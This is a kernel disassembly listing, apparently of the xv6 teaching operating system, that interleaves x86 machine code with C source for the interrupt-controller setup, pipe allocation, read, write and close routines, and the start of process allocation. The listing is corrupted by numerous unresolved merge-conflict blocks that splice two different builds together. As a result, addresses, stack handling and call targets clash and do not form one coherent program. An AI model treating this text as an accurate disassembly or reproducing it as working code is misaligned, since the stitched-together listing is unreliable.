801031ef: 90 nop
801031f0 <picenable>:
outb(IO_PIC2+1, mask >> 8);
}
void
picenable(int irq)
{
801031f0: 55 push %ebp
picsetmask(irqmask & ~(1<<irq));
801031f1: b8 fe ff ff ff mov $0xfffffffe,%eax
outb(IO_PIC2+1, mask >> 8);
}
void
picenable(int irq)
{
801031f6: 89 e5 mov %esp,%ebp
801031f8: ba 21 00 00 00 mov $0x21,%edx
picsetmask(irqmask & ~(1<<irq));
801031fd: 8b 4d 08 mov 0x8(%ebp),%ecx
80103200: d3 c0 rol %cl,%eax
80103202: 66 23 05 00 a0 10 80 and 0x8010a000,%ax
static ushort irqmask = 0xFFFF & ~(1<<IRQ_SLAVE);
static void
picsetmask(ushort mask)
{
irqmask = mask;
80103209: 66 a3 00 a0 10 80 mov %ax,0x8010a000
8010320f: ee out %al,(%dx)
outb(IO_PIC1+1, mask);
outb(IO_PIC2+1, mask >> 8);
80103210: 66 c1 e8 08 shr $0x8,%ax
80103214: b2 a1 mov $0xa1,%dl
80103216: ee out %al,(%dx)
void
picenable(int irq)
{
picsetmask(irqmask & ~(1<<irq));
}
80103217: 5d pop %ebp
80103218: c3 ret
80103219: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103220 <picinit>:
// Initialize the 8259A interrupt controllers.
void
picinit(void)
{
80103220: 55 push %ebp
80103221: b8 ff ff ff ff mov $0xffffffff,%eax
80103226: 89 e5 mov %esp,%ebp
80103228: 57 push %edi
80103229: 56 push %esi
8010322a: 53 push %ebx
8010322b: bb 21 00 00 00 mov $0x21,%ebx
80103230: 89 da mov %ebx,%edx
80103232: ee out %al,(%dx)
80103233: b9 a1 00 00 00 mov $0xa1,%ecx
80103238: 89 ca mov %ecx,%edx
8010323a: ee out %al,(%dx)
8010323b: bf 11 00 00 00 mov $0x11,%edi
80103240: be 20 00 00 00 mov $0x20,%esi
80103245: 89 f8 mov %edi,%eax
80103247: 89 f2 mov %esi,%edx
80103249: ee out %al,(%dx)
8010324a: b8 20 00 00 00 mov $0x20,%eax
8010324f: 89 da mov %ebx,%edx
80103251: ee out %al,(%dx)
80103252: b8 04 00 00 00 mov $0x4,%eax
80103257: ee out %al,(%dx)
80103258: b8 03 00 00 00 mov $0x3,%eax
8010325d: ee out %al,(%dx)
8010325e: b3 a0 mov $0xa0,%bl
80103260: 89 f8 mov %edi,%eax
80103262: 89 da mov %ebx,%edx
80103264: ee out %al,(%dx)
80103265: b8 28 00 00 00 mov $0x28,%eax
8010326a: 89 ca mov %ecx,%edx
8010326c: ee out %al,(%dx)
8010326d: b8 02 00 00 00 mov $0x2,%eax
80103272: ee out %al,(%dx)
80103273: b8 03 00 00 00 mov $0x3,%eax
80103278: ee out %al,(%dx)
80103279: bf 68 00 00 00 mov $0x68,%edi
8010327e: 89 f2 mov %esi,%edx
80103280: 89 f8 mov %edi,%eax
80103282: ee out %al,(%dx)
80103283: b9 0a 00 00 00 mov $0xa,%ecx
80103288: 89 c8 mov %ecx,%eax
8010328a: ee out %al,(%dx)
8010328b: 89 f8 mov %edi,%eax
8010328d: 89 da mov %ebx,%edx
8010328f: ee out %al,(%dx)
80103290: 89 c8 mov %ecx,%eax
80103292: ee out %al,(%dx)
outb(IO_PIC1, 0x0a); // read IRR by default
outb(IO_PIC2, 0x68); // OCW3
outb(IO_PIC2, 0x0a); // OCW3
if(irqmask != 0xFFFF)
80103293: 0f b7 05 00 a0 10 80 movzwl 0x8010a000,%eax
8010329a: 66 83 f8 ff cmp $0xffff,%ax
8010329e: 74 0a je 801032aa <picinit+0x8a>
801032a0: b2 21 mov $0x21,%dl
801032a2: ee out %al,(%dx)
static void
picsetmask(ushort mask)
{
irqmask = mask;
outb(IO_PIC1+1, mask);
outb(IO_PIC2+1, mask >> 8);
801032a3: 66 c1 e8 08 shr $0x8,%ax
801032a7: b2 a1 mov $0xa1,%dl
801032a9: ee out %al,(%dx)
outb(IO_PIC2, 0x68); // OCW3
outb(IO_PIC2, 0x0a); // OCW3
if(irqmask != 0xFFFF)
picsetmask(irqmask);
}
801032aa: 5b pop %ebx
801032ab: 5e pop %esi
801032ac: 5f pop %edi
801032ad: 5d pop %ebp
801032ae: c3 ret
801032af: 90 nop
801032b0 <pipealloc>:
int writeopen; // write fd is still open
};
int
pipealloc(struct file **f0, struct file **f1)
{
801032b0: 55 push %ebp
801032b1: 89 e5 mov %esp,%ebp
801032b3: 57 push %edi
801032b4: 56 push %esi
801032b5: 53 push %ebx
801032b6: 83 ec 1c sub $0x1c,%esp
801032b9: 8b 75 08 mov 0x8(%ebp),%esi
801032bc: 8b 5d 0c mov 0xc(%ebp),%ebx
struct pipe *p;
p = 0;
*f0 = *f1 = 0;
801032bf: c7 03 00 00 00 00 movl $0x0,(%ebx)
801032c5: c7 06 00 00 00 00 movl $0x0,(%esi)
if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0)
801032cb: e8 90 da ff ff call 80100d60 <filealloc>
801032d0: 85 c0 test %eax,%eax
801032d2: 89 06 mov %eax,(%esi)
801032d4: 0f 84 a4 00 00 00 je 8010337e <pipealloc+0xce>
801032da: e8 81 da ff ff call 80100d60 <filealloc>
801032df: 85 c0 test %eax,%eax
801032e1: 89 03 mov %eax,(%ebx)
801032e3: 0f 84 87 00 00 00 je 80103370 <pipealloc+0xc0>
goto bad;
if((p = (struct pipe*)kalloc()) == 0)
801032e9: e8 a2 f1 ff ff call 80102490 <kalloc>
801032ee: 85 c0 test %eax,%eax
801032f0: 89 c7 mov %eax,%edi
801032f2: 74 7c je 80103370 <pipealloc+0xc0>
goto bad;
p->readopen = 1;
<<<<<<< HEAD
8010339b: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax)
801033a2: 00 00 00
p->writeopen = 1;
801033a5: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax)
801033ac: 00 00 00
p->nwrite = 0;
801033af: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax)
801033b6: 00 00 00
p->nread = 0;
801033b9: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax)
801033c0: 00 00 00
initlock(&p->lock, "pipe");
801033c3: 68 88 78 10 80 push $0x80107888
801033c8: 50 push %eax
801033c9: e8 22 11 00 00 call 801044f0 <initlock>
(*f0)->type = FD_PIPE;
801033ce: 8b 06 mov (%esi),%eax
(*f0)->pipe = p;
(*f1)->type = FD_PIPE;
(*f1)->readable = 0;
(*f1)->writable = 1;
(*f1)->pipe = p;
return 0;
801033d0: 83 c4 10 add $0x10,%esp
p->readopen = 1;
=======
801032f4: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax)
801032fb: 00 00 00
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
p->writeopen = 1;
801032fe: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax)
80103305: 00 00 00
p->nwrite = 0;
80103308: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax)
8010330f: 00 00 00
p->nread = 0;
80103312: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax)
80103319: 00 00 00
initlock(&p->lock, "pipe");
8010331c: 89 04 24 mov %eax,(%esp)
8010331f: c7 44 24 04 08 76 10 movl $0x80107608,0x4(%esp)
80103326: 80
80103327: e8 d4 0f 00 00 call 80104300 <initlock>
(*f0)->type = FD_PIPE;
8010332c: 8b 06 mov (%esi),%eax
8010332e: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f0)->readable = 1;
80103334: 8b 06 mov (%esi),%eax
80103336: c6 40 08 01 movb $0x1,0x8(%eax)
(*f0)->writable = 0;
8010333a: 8b 06 mov (%esi),%eax
8010333c: c6 40 09 00 movb $0x0,0x9(%eax)
(*f0)->pipe = p;
80103340: 8b 06 mov (%esi),%eax
80103342: 89 78 0c mov %edi,0xc(%eax)
(*f1)->type = FD_PIPE;
80103345: 8b 03 mov (%ebx),%eax
80103347: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f1)->readable = 0;
8010334d: 8b 03 mov (%ebx),%eax
8010334f: c6 40 08 00 movb $0x0,0x8(%eax)
(*f1)->writable = 1;
80103353: 8b 03 mov (%ebx),%eax
80103355: c6 40 09 01 movb $0x1,0x9(%eax)
(*f1)->pipe = p;
80103359: 8b 03 mov (%ebx),%eax
return 0;
8010335b: 31 db xor %ebx,%ebx
(*f0)->writable = 0;
(*f0)->pipe = p;
(*f1)->type = FD_PIPE;
(*f1)->readable = 0;
(*f1)->writable = 1;
(*f1)->pipe = p;
8010335d: 89 78 0c mov %edi,0xc(%eax)
if(*f0)
fileclose(*f0);
if(*f1)
fileclose(*f1);
return -1;
}
80103360: 83 c4 1c add $0x1c,%esp
80103363: 89 d8 mov %ebx,%eax
80103365: 5b pop %ebx
80103366: 5e pop %esi
80103367: 5f pop %edi
80103368: 5d pop %ebp
80103369: c3 ret
8010336a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
//PAGEBREAK: 20
bad:
if(p)
kfree((char*)p);
if(*f0)
80103370: 8b 06 mov (%esi),%eax
80103372: 85 c0 test %eax,%eax
80103374: 74 08 je 8010337e <pipealloc+0xce>
fileclose(*f0);
80103376: 89 04 24 mov %eax,(%esp)
80103379: e8 a2 da ff ff call 80100e20 <fileclose>
if(*f1)
8010337e: 8b 03 mov (%ebx),%eax
fileclose(*f1);
return -1;
80103380: bb ff ff ff ff mov $0xffffffff,%ebx
bad:
if(p)
kfree((char*)p);
if(*f0)
fileclose(*f0);
if(*f1)
80103385: 85 c0 test %eax,%eax
80103387: 74 d7 je 80103360 <pipealloc+0xb0>
fileclose(*f1);
80103389: 89 04 24 mov %eax,(%esp)
8010338c: e8 8f da ff ff call 80100e20 <fileclose>
return -1;
}
80103391: 83 c4 1c add $0x1c,%esp
80103394: 89 d8 mov %ebx,%eax
80103396: 5b pop %ebx
80103397: 5e pop %esi
80103398: 5f pop %edi
80103399: 5d pop %ebp
8010339a: c3 ret
8010339b: 90 nop
8010339c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801033a0 <pipeclose>:
void
pipeclose(struct pipe *p, int writable)
{
801033a0: 55 push %ebp
801033a1: 89 e5 mov %esp,%ebp
801033a3: 56 push %esi
801033a4: 53 push %ebx
801033a5: 83 ec 10 sub $0x10,%esp
801033a8: 8b 5d 08 mov 0x8(%ebp),%ebx
801033ab: 8b 75 0c mov 0xc(%ebp),%esi
acquire(&p->lock);
<<<<<<< HEAD
8010345b: 83 ec 0c sub $0xc,%esp
8010345e: 53 push %ebx
8010345f: e8 ac 10 00 00 call 80104510 <acquire>
=======
801033ae: 89 1c 24 mov %ebx,(%esp)
801033b1: e8 ca 0f 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(writable){
801033b6: 85 f6 test %esi,%esi
801033b8: 74 3e je 801033f8 <pipeclose+0x58>
p->writeopen = 0;
wakeup(&p->nread);
801033ba: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax
void
pipeclose(struct pipe *p, int writable)
{
acquire(&p->lock);
if(writable){
p->writeopen = 0;
801033c0: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx)
801033c7: 00 00 00
wakeup(&p->nread);
<<<<<<< HEAD
8010347e: 50 push %eax
8010347f: e8 6c 0c 00 00 call 801040f0 <wakeup>
80103484: 83 c4 10 add $0x10,%esp
=======
801033ca: 89 04 24 mov %eax,(%esp)
801033cd: e8 0e 0b 00 00 call 80103ee0 <wakeup>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
} else {
p->readopen = 0;
wakeup(&p->nwrite);
}
if(p->readopen == 0 && p->writeopen == 0){
801033d2: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx
801033d8: 85 d2 test %edx,%edx
801033da: 75 0a jne 801033e6 <pipeclose+0x46>
801033dc: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax
801033e2: 85 c0 test %eax,%eax
801033e4: 74 32 je 80103418 <pipeclose+0x78>
release(&p->lock);
kfree((char*)p);
} else
release(&p->lock);
801033e6: 89 5d 08 mov %ebx,0x8(%ebp)
}
801033e9: 83 c4 10 add $0x10,%esp
801033ec: 5b pop %ebx
801033ed: 5e pop %esi
801033ee: 5d pop %ebp
}
if(p->readopen == 0 && p->writeopen == 0){
release(&p->lock);
kfree((char*)p);
} else
release(&p->lock);
<<<<<<< HEAD
801034a4: e9 47 12 00 00 jmp 801046f0 <release>
801034a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
=======
801033ef: e9 bc 10 00 00 jmp 801044b0 <release>
801033f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(writable){
p->writeopen = 0;
wakeup(&p->nread);
} else {
p->readopen = 0;
wakeup(&p->nwrite);
801033f8: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax
acquire(&p->lock);
if(writable){
p->writeopen = 0;
wakeup(&p->nread);
} else {
p->readopen = 0;
801033fe: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx)
80103405: 00 00 00
wakeup(&p->nwrite);
<<<<<<< HEAD
801034c3: 50 push %eax
801034c4: e8 27 0c 00 00 call 801040f0 <wakeup>
801034c9: 83 c4 10 add $0x10,%esp
801034cc: eb b9 jmp 80103487 <pipeclose+0x37>
801034ce: 66 90 xchg %ax,%ax
}
if(p->readopen == 0 && p->writeopen == 0){
release(&p->lock);
801034d0: 83 ec 0c sub $0xc,%esp
801034d3: 53 push %ebx
801034d4: e8 17 12 00 00 call 801046f0 <release>
=======
80103408: 89 04 24 mov %eax,(%esp)
8010340b: e8 d0 0a 00 00 call 80103ee0 <wakeup>
80103410: eb c0 jmp 801033d2 <pipeclose+0x32>
80103412: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
}
if(p->readopen == 0 && p->writeopen == 0){
release(&p->lock);
80103418: 89 1c 24 mov %ebx,(%esp)
8010341b: e8 90 10 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
kfree((char*)p);
80103420: 89 5d 08 mov %ebx,0x8(%ebp)
} else
release(&p->lock);
}
80103423: 83 c4 10 add $0x10,%esp
80103426: 5b pop %ebx
80103427: 5e pop %esi
80103428: 5d pop %ebp
p->readopen = 0;
wakeup(&p->nwrite);
}
if(p->readopen == 0 && p->writeopen == 0){
release(&p->lock);
kfree((char*)p);
80103429: e9 b2 ee ff ff jmp 801022e0 <kfree>
8010342e: 66 90 xchg %ax,%ax
80103430 <pipewrite>:
}
//PAGEBREAK: 40
int
pipewrite(struct pipe *p, char *addr, int n)
{
80103430: 55 push %ebp
80103431: 89 e5 mov %esp,%ebp
80103433: 57 push %edi
80103434: 56 push %esi
80103435: 53 push %ebx
80103436: 83 ec 1c sub $0x1c,%esp
80103439: 8b 7d 08 mov 0x8(%ebp),%edi
int i;
acquire(&p->lock);
<<<<<<< HEAD
801034fc: 57 push %edi
801034fd: e8 0e 10 00 00 call 80104510 <acquire>
=======
8010343c: 89 3c 24 mov %edi,(%esp)
8010343f: e8 3c 0f 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
for(i = 0; i < n; i++){
80103444: 8b 45 10 mov 0x10(%ebp),%eax
80103447: 85 c0 test %eax,%eax
80103449: 0f 8e c2 00 00 00 jle 80103511 <pipewrite+0xe1>
8010344f: 8b 45 0c mov 0xc(%ebp),%eax
80103452: 8d b7 34 02 00 00 lea 0x234(%edi),%esi
80103458: 8b 8f 38 02 00 00 mov 0x238(%edi),%ecx
8010345e: 8d 9f 38 02 00 00 lea 0x238(%edi),%ebx
80103464: 89 45 e4 mov %eax,-0x1c(%ebp)
80103467: 03 45 10 add 0x10(%ebp),%eax
8010346a: 89 45 e0 mov %eax,-0x20(%ebp)
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
8010346d: 8b 87 34 02 00 00 mov 0x234(%edi),%eax
80103473: 8d 90 00 02 00 00 lea 0x200(%eax),%edx
80103479: 39 d1 cmp %edx,%ecx
8010347b: 0f 85 c4 00 00 00 jne 80103545 <pipewrite+0x115>
if(p->readopen == 0 || proc->killed){
80103481: 8b 97 3c 02 00 00 mov 0x23c(%edi),%edx
80103487: 85 d2 test %edx,%edx
80103489: 0f 84 a1 00 00 00 je 80103530 <pipewrite+0x100>
8010348f: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80103496: 8b 42 24 mov 0x24(%edx),%eax
80103499: 85 c0 test %eax,%eax
8010349b: 74 22 je 801034bf <pipewrite+0x8f>
8010349d: e9 8e 00 00 00 jmp 80103530 <pipewrite+0x100>
801034a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801034a8: 8b 87 3c 02 00 00 mov 0x23c(%edi),%eax
801034ae: 85 c0 test %eax,%eax
801034b0: 74 7e je 80103530 <pipewrite+0x100>
801034b2: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801034b8: 8b 48 24 mov 0x24(%eax),%ecx
801034bb: 85 c9 test %ecx,%ecx
801034bd: 75 71 jne 80103530 <pipewrite+0x100>
release(&p->lock);
return -1;
}
wakeup(&p->nread);
<<<<<<< HEAD
80103583: 83 ec 0c sub $0xc,%esp
80103586: 56 push %esi
80103587: e8 64 0b 00 00 call 801040f0 <wakeup>
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
8010358c: 59 pop %ecx
8010358d: 58 pop %eax
8010358e: 57 push %edi
8010358f: 53 push %ebx
80103590: e8 bb 09 00 00 call 80103f50 <sleep>
=======
801034bf: 89 34 24 mov %esi,(%esp)
801034c2: e8 19 0a 00 00 call 80103ee0 <wakeup>
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
801034c7: 89 7c 24 04 mov %edi,0x4(%esp)
801034cb: 89 1c 24 mov %ebx,(%esp)
801034ce: e8 6d 08 00 00 call 80103d40 <sleep>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
801034d3: 8b 87 34 02 00 00 mov 0x234(%edi),%eax
801034d9: 8b 97 38 02 00 00 mov 0x238(%edi),%edx
801034df: 05 00 02 00 00 add $0x200,%eax
801034e4: 39 c2 cmp %eax,%edx
801034e6: 74 c0 je 801034a8 <pipewrite+0x78>
return -1;
}
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
801034e8: 8b 45 e4 mov -0x1c(%ebp),%eax
801034eb: 8d 4a 01 lea 0x1(%edx),%ecx
801034ee: 81 e2 ff 01 00 00 and $0x1ff,%edx
801034f4: 89 8f 38 02 00 00 mov %ecx,0x238(%edi)
801034fa: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
801034fe: 0f b6 00 movzbl (%eax),%eax
80103501: 88 44 17 34 mov %al,0x34(%edi,%edx,1)
pipewrite(struct pipe *p, char *addr, int n)
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
80103505: 8b 45 e4 mov -0x1c(%ebp),%eax
80103508: 3b 45 e0 cmp -0x20(%ebp),%eax
8010350b: 0f 85 5c ff ff ff jne 8010346d <pipewrite+0x3d>
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
}
wakeup(&p->nread); //DOC: pipewrite-wakeup1
<<<<<<< HEAD
801035d6: 8d 97 34 02 00 00 lea 0x234(%edi),%edx
801035dc: 83 ec 0c sub $0xc,%esp
801035df: 52 push %edx
801035e0: e8 0b 0b 00 00 call 801040f0 <wakeup>
release(&p->lock);
801035e5: 89 3c 24 mov %edi,(%esp)
801035e8: e8 03 11 00 00 call 801046f0 <release>
=======
80103511: 8d 97 34 02 00 00 lea 0x234(%edi),%edx
80103517: 89 14 24 mov %edx,(%esp)
8010351a: e8 c1 09 00 00 call 80103ee0 <wakeup>
release(&p->lock);
8010351f: 89 3c 24 mov %edi,(%esp)
80103522: e8 89 0f 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return n;
80103527: 8b 45 10 mov 0x10(%ebp),%eax
8010352a: eb 11 jmp 8010353d <pipewrite+0x10d>
8010352c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
acquire(&p->lock);
for(i = 0; i < n; i++){
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
if(p->readopen == 0 || proc->killed){
release(&p->lock);
<<<<<<< HEAD
801035f8: 83 ec 0c sub $0xc,%esp
801035fb: 57 push %edi
801035fc: e8 ef 10 00 00 call 801046f0 <release>
=======
80103530: 89 3c 24 mov %edi,(%esp)
80103533: e8 78 0f 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return -1;
80103538: b8 ff ff ff ff mov $0xffffffff,%eax
p->data[p->nwrite++ % PIPESIZE] = addr[i];
}
wakeup(&p->nread); //DOC: pipewrite-wakeup1
release(&p->lock);
return n;
}
8010353d: 83 c4 1c add $0x1c,%esp
80103540: 5b pop %ebx
80103541: 5e pop %esi
80103542: 5f pop %edi
80103543: 5d pop %ebp
80103544: c3 ret
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
80103545: 89 ca mov %ecx,%edx
80103547: eb 9f jmp 801034e8 <pipewrite+0xb8>
80103549: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103550 <piperead>:
return n;
}
int
piperead(struct pipe *p, char *addr, int n)
{
80103550: 55 push %ebp
80103551: 89 e5 mov %esp,%ebp
80103553: 57 push %edi
80103554: 56 push %esi
80103555: 53 push %ebx
80103556: 83 ec 1c sub $0x1c,%esp
80103559: 8b 75 08 mov 0x8(%ebp),%esi
8010355c: 8b 7d 0c mov 0xc(%ebp),%edi
int i;
acquire(&p->lock);
<<<<<<< HEAD
8010362f: 53 push %ebx
80103630: e8 db 0e 00 00 call 80104510 <acquire>
=======
8010355f: 89 34 24 mov %esi,(%esp)
80103562: e8 19 0e 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
80103567: 8b 86 34 02 00 00 mov 0x234(%esi),%eax
8010356d: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax
80103573: 75 5b jne 801035d0 <piperead+0x80>
80103575: 8b 9e 40 02 00 00 mov 0x240(%esi),%ebx
8010357b: 85 db test %ebx,%ebx
8010357d: 74 51 je 801035d0 <piperead+0x80>
8010357f: 8d 9e 34 02 00 00 lea 0x234(%esi),%ebx
80103585: eb 25 jmp 801035ac <piperead+0x5c>
80103587: 90 nop
if(proc->killed){
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
<<<<<<< HEAD
80103660: 83 ec 08 sub $0x8,%esp
80103663: 53 push %ebx
80103664: 56 push %esi
80103665: e8 e6 08 00 00 call 80103f50 <sleep>
=======
80103588: 89 74 24 04 mov %esi,0x4(%esp)
8010358c: 89 1c 24 mov %ebx,(%esp)
8010358f: e8 ac 07 00 00 call 80103d40 <sleep>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
piperead(struct pipe *p, char *addr, int n)
{
int i;
acquire(&p->lock);
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
80103594: 8b 86 34 02 00 00 mov 0x234(%esi),%eax
8010359a: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax
801035a0: 75 2e jne 801035d0 <piperead+0x80>
801035a2: 8b 96 40 02 00 00 mov 0x240(%esi),%edx
801035a8: 85 d2 test %edx,%edx
801035aa: 74 24 je 801035d0 <piperead+0x80>
if(proc->killed){
801035ac: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801035b2: 8b 48 24 mov 0x24(%eax),%ecx
801035b5: 85 c9 test %ecx,%ecx
801035b7: 74 cf je 80103588 <piperead+0x38>
release(&p->lock);
<<<<<<< HEAD
80103697: 83 ec 0c sub $0xc,%esp
8010369a: 53 push %ebx
8010369b: e8 50 10 00 00 call 801046f0 <release>
return -1;
801036a0: 83 c4 10 add $0x10,%esp
=======
801035b9: 89 34 24 mov %esi,(%esp)
801035bc: e8 ef 0e 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
release(&p->lock);
return i;
}
801035c1: 83 c4 1c add $0x1c,%esp
acquire(&p->lock);
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
if(proc->killed){
release(&p->lock);
return -1;
801035c4: b8 ff ff ff ff mov $0xffffffff,%eax
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
release(&p->lock);
return i;
}
801035c9: 5b pop %ebx
801035ca: 5e pop %esi
801035cb: 5f pop %edi
801035cc: 5d pop %ebp
801035cd: c3 ret
801035ce: 66 90 xchg %ax,%ax
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
801035d0: 8b 55 10 mov 0x10(%ebp),%edx
if(p->nread == p->nwrite)
801035d3: 31 db xor %ebx,%ebx
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
801035d5: 85 d2 test %edx,%edx
801035d7: 7f 2b jg 80103604 <piperead+0xb4>
801035d9: eb 31 jmp 8010360c <piperead+0xbc>
801035db: 90 nop
801035dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(p->nread == p->nwrite)
break;
addr[i] = p->data[p->nread++ % PIPESIZE];
801035e0: 8d 48 01 lea 0x1(%eax),%ecx
801035e3: 25 ff 01 00 00 and $0x1ff,%eax
801035e8: 89 8e 34 02 00 00 mov %ecx,0x234(%esi)
801035ee: 0f b6 44 06 34 movzbl 0x34(%esi,%eax,1),%eax
801035f3: 88 04 1f mov %al,(%edi,%ebx,1)
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
801035f6: 83 c3 01 add $0x1,%ebx
801035f9: 3b 5d 10 cmp 0x10(%ebp),%ebx
801035fc: 74 0e je 8010360c <piperead+0xbc>
if(p->nread == p->nwrite)
801035fe: 8b 86 34 02 00 00 mov 0x234(%esi),%eax
80103604: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax
8010360a: 75 d4 jne 801035e0 <piperead+0x90>
break;
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
<<<<<<< HEAD
801036f5: 8d 93 38 02 00 00 lea 0x238(%ebx),%edx
801036fb: 83 ec 0c sub $0xc,%esp
801036fe: 52 push %edx
801036ff: e8 ec 09 00 00 call 801040f0 <wakeup>
release(&p->lock);
80103704: 89 1c 24 mov %ebx,(%esp)
80103707: e8 e4 0f 00 00 call 801046f0 <release>
=======
8010360c: 8d 86 38 02 00 00 lea 0x238(%esi),%eax
80103612: 89 04 24 mov %eax,(%esp)
80103615: e8 c6 08 00 00 call 80103ee0 <wakeup>
release(&p->lock);
8010361a: 89 34 24 mov %esi,(%esp)
8010361d: e8 8e 0e 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return i;
}
80103622: 83 c4 1c add $0x1c,%esp
break;
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
release(&p->lock);
return i;
80103625: 89 d8 mov %ebx,%eax
}
80103627: 5b pop %ebx
80103628: 5e pop %esi
80103629: 5f pop %edi
8010362a: 5d pop %ebp
8010362b: c3 ret
8010362c: 66 90 xchg %ax,%ax
8010362e: 66 90 xchg %ax,%ax
80103630 <allocproc>:
// If found, change state to EMBRYO and initialize
// state required to run in the kernel.
// Otherwise return 0.
static struct proc*
allocproc(void)
{
80103630: 55 push %ebp
80103631: 89 e5 mov %esp,%ebp
80103633: 53 push %ebx
struct proc *p;
char *sp;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103634: bb d4 2d 11 80 mov $0x80112dd4,%ebx
// If found, change state to EMBRYO and initialize
// state required to run in the kernel.
// Otherwise return 0.
static struct proc*
allocproc(void)
{
80103639: 83 ec 14 sub $0x14,%esp
struct proc *p;
char *sp;
acquire(&ptable.lock);
<<<<<<< HEAD
8010374c: 68 a0 2d 11 80 push $0x80112da0
80103751: e8 ba 0d 00 00 call 80104510 <acquire>
80103756: 83 c4 10 add $0x10,%esp
80103759: eb 10 jmp 8010376b <allocproc+0x2b>
8010375b: 90 nop
8010375c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
=======
8010363c: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103643: e8 38 0d 00 00 call 80104380 <acquire>
80103648: eb 11 jmp 8010365b <allocproc+0x2b>
8010364a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103650: 83 eb 80 sub $0xffffff80,%ebx
80103653: 81 fb d4 4d 11 80 cmp $0x80114dd4,%ebx
